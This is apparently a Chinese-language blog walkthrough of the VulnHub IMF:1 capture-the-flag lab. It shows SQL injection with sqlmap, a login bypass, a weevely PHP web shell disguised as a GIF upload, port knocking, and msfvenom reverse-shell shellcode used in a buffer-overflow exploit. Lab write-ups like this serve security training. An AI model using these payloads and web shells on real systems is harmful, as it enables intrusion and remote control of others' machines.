title: Vulnhub-IMF-1
categories:
- VulnHub
tags:
- Linux
- 二维码
- JavaScript
- PHP
- weeley
- gobuster
- nmap
- SQL注入
- 文件上传
- sqlmap
- knock
- metasploit
- 缓冲区溢出
- 端口碰撞
cover: /images/Vulnhub.png
abbrlink: 127c8ee5
date: 2023-01-13 22:59:04
Vulnhub IMF: 1<!--more-->
Name: IMF: 1
Date release: 30 Oct 2016
Author: Geckom
Series: IMF
Difficulty : medium
靶机下载地址:
https://www.vulnhub.com/entry/imf-1,162/
首先使用 nmap 进行端口扫描
nmap -p- -sV -sC -A 192.168.0.103 -oA nmap_IMF
扫描结果显示目标只开放了80端口
访问http://192.168.0.103
为 IMF,即不可能的任务情报署
使用 gobuster 进行目录扫描,成功发现多个文件和目录
gobuster dir -u http://192.168.0.103 -w /usr/share/wordlists/dirb/big.txt -x php
在contact.php
的源代码中发现第一个flag:
flag1{YWxsdGhlZmlsZXM=}
在js
目录中发现三串特殊名字的 JavaScript 文件
重组后经 base64 解码后发现第二个flag:
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
# base64解码
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
针对拿到的两个 flag 进行 base64 解码,成功拿到字符串为allthefiles
和imfadministrator
echo "YWxsdGhlZmlsZXM=" | base64 -d
echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d
访问http://192.168.0.103/imfadministrator
为管理员的登录界面
在网页中发现三个邮箱地址,分别为[email protected]
、[email protected]
、[email protected]
使用邮箱地址中的用户名进行登录,但是都提示无效的用户名
rmichaels
estone
rmichaels
在 pass 参数中修改为pass[]
,成功拿到第三个flag:
flag3{Y29udGludWVUT2Ntcw==}
,经 base64 解码为continueTOcms
访问http://192.168.0.103/imfadministrator/cms.php?pagename=home
为管理界面
截取数据包对pagename
参数尝试注入
GET /imfadministrator/cms.php?pagename=* HTTP/1.1
Host: 192.168.0.103
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.103/imfadministrator/cms.php?pagename=home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_auth=eyJpdiI6IklBYldPMmNBN082VWNHM3FkQ0Q5Rmc9PSIsInZhbHVlIjoib1cxdDFzdmhWYU1sZ0w3b0dqcHJzZmVpNm15c0xjY2RuZ1NzM0MzWm9FcklsY0lJa1g1anFrdGg4Wm81ODVXaHRDTnA1M3pDbjZtZUc2UktaVFFzYUhpQ09KK1RCZVcxQU1CcU1uWTJ0dmlWY0RjcnRqMlg3WkZhSEt5SzFtY1kybklyTDg1TVRuK1J1K0w0ekZvTzdnPT0iLCJtYWMiOiI5NWQ5ZTk1YmY1ODFhZTNiZTc5ZTEwZTY1YmVjNjcyMzJjYzhiODQ1NjFkNzEwMDRjYjFlZDU4Zjk3OWU0YjUyIn0%3D; PHPSESSID=n7arta33i3eh2p8pauvu6l5v05
Connection: close
使用 sqlmap 进行 SQL 注入获取数据,成功找到两个jpg文件
python3 sqlmap.py -r test1.txt --dump --level 5 --risk 3
分别访问两个图片http://192.168.0.103/imfadministrator/images/redacted.jpg
和http://192.168.0.103/imfadministrator/images/whiteboard.jpg
下载二维码插件:二维码生成器
点击右键对图片进行识别,成功拿到第四个flag:
flag4{dXBsb2Fkcjk0Mi5waHA=}
经 base64 解码后为uploadr942.php
访问http://192.168.0.103/imfadministrator/uploadr942.php
发现文件上传点
使用 weevely 生成PHP类型木马
weevely generate mac mac.php
制作图片马并添加 GIF 头文件,同时将后缀名修改为.gif
cp mac.php mac.gif# 添加头文件GIF89a31111
使用 BurpSuite 截取数据包上传图片马,返回1f99323f6a1c
为文件名
访问http://192.168.0.103/imfadministrator/uploads/1f99323f6a1c.gif
成功
使用 weevely 输入密码mac
成功连接,在其中找到第五个flag:
flag5{YWdlbnRzZXJ2aWNlcw==}
经 base64 解码为agentservices
weevely http://192.168.0.103/imfadministrator/uploads/1f99323f6a1c.gif mac
由于提示为代理服务,在服务器中搜索名称agent
,成功发现/usr/local/bin/agent
find / -name agent &> /dev/null
agent
执行后发现7788端口已开放
netstat -ntlp
在usr/local/bin
目录下还存在文件access_codes
,查看后发现端口:7482、8279、9467
端口碰撞
端口碰撞是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。
在本地下载 knock
git clone https://github.com/grongor/knock.git
使用 knock 依次访问7482、8279、9467端口,最终成功打开7788端口
./knock 192.168.0.103 7482 8279 9467nc 192.168.0.103 7788
在 weevely 中下载agent
至本地
:file_download /usr/local/bin/agent /root/vulnhub/imf/agent
分析发现agent
是 ELF 32位 的文件
file agent
使用 ltrace 跟踪agent
程序运行时所调用库函数的情况
chmod +x agentltrace ./agent
经测试输入任何值都会返回48093572,因此尝试在agent ID
中输入48093572,验证成功
使用 MSF 生成用于反弹shell的 shellcode
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.0.104 lport=5555 -f python -b "\x00\x0a\x0b"
buf = b""
buf += b"\xdd\xc5\xd9\x74\x24\xf4\xb8\xc5\x85\xcc\x11\x5e\x31"
buf += b"\xc9\xb1\x12\x31\x46\x17\x03\x46\x17\x83\x03\x81\x2e"
buf += b"\xe4\xba\x51\x59\xe4\xef\x26\xf5\x81\x0d\x20\x18\xe5"
buf += b"\x77\xff\x5b\x95\x2e\x4f\x64\x57\x50\xe6\xe2\x9e\x38"
buf += b"\x39\xbc\x61\xd0\xd1\xbf\x61\x35\x91\x49\x80\x85\xb3"
buf += b"\x19\x12\xb6\x88\x99\x1d\xd9\x22\x1d\x4f\x71\xd3\x31"
buf += b"\x03\xe9\x43\x61\xcc\x8b\xfa\xf4\xf1\x19\xae\x8f\x17"
buf += b"\x2d\x5b\x5d\x57"
把 shellcode 添加至 agent 利用代码中
利用代码地址:
https://github.com/jessekurrus/agentsploit
在本地通过 MSF 监听5555端口
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.104
msf6 exploit(multi/handler) > set lport 5555
msf6 exploit(multi/handler) > exploit -j
执行利用代码
python agentsploit.py 192.168.0.103 7788
成功收到反弹shell,同时拿到第六个flag:
flag6{R2gwc3RQcm90MGMwbHM=}
cat /root/Flag.tx